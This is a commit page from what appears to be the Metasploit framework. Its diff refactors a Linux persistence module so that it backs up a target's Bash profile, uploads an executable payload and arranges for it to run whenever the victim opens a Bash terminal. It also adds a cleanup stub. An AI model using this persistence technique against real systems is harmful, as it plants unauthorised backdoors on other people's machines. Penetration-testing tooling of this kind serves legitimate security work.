Skip to content

Commit

Permalink
feat: draft bash_profile using persistence mixin
Browse files Browse the repository at this point in the history
  • Loading branch information
dledda-r7 committed Jan 29, 2025
1 parent 74acdf2 commit 7542fa1
Showing 1 changed file with 8 additions and 3 deletions.
11 changes: 8 additions & 3 deletions modules/exploits/linux/persistence/bash_profile.rb
Original file line number Diff line number Diff line change
Expand Up @@ -82,13 +82,13 @@ def check
CheckCode::Detected("Bash profile exists and is writable: #{ppath}")
end

def exploit
def install_persistence
# create Bash profile backup on local system before persistence is added
ppath = profile_path
backup_profile = read_file(ppath)

backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup')
print_status("Created backup Bash profile: #{backup_profile_path}")
@backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup')
print_status("Created backup Bash profile: #{@backup_profile_path}")

# upload persistent payload to target and make executable (chmod 700)
backdoor_path = datastore['WritableDir']
Expand All @@ -102,4 +102,9 @@ def exploit
vprint_status('Created Bash profile persistence')
print_good('Payload will be triggered when target opens a Bash terminal')
end

def cleanup_persistence
print_warning('Here we should cleanup here')
print_status("Backup: #{@backup_profile_path}")
end
end

0 comments on commit 7542fa1

Please sign in to comment.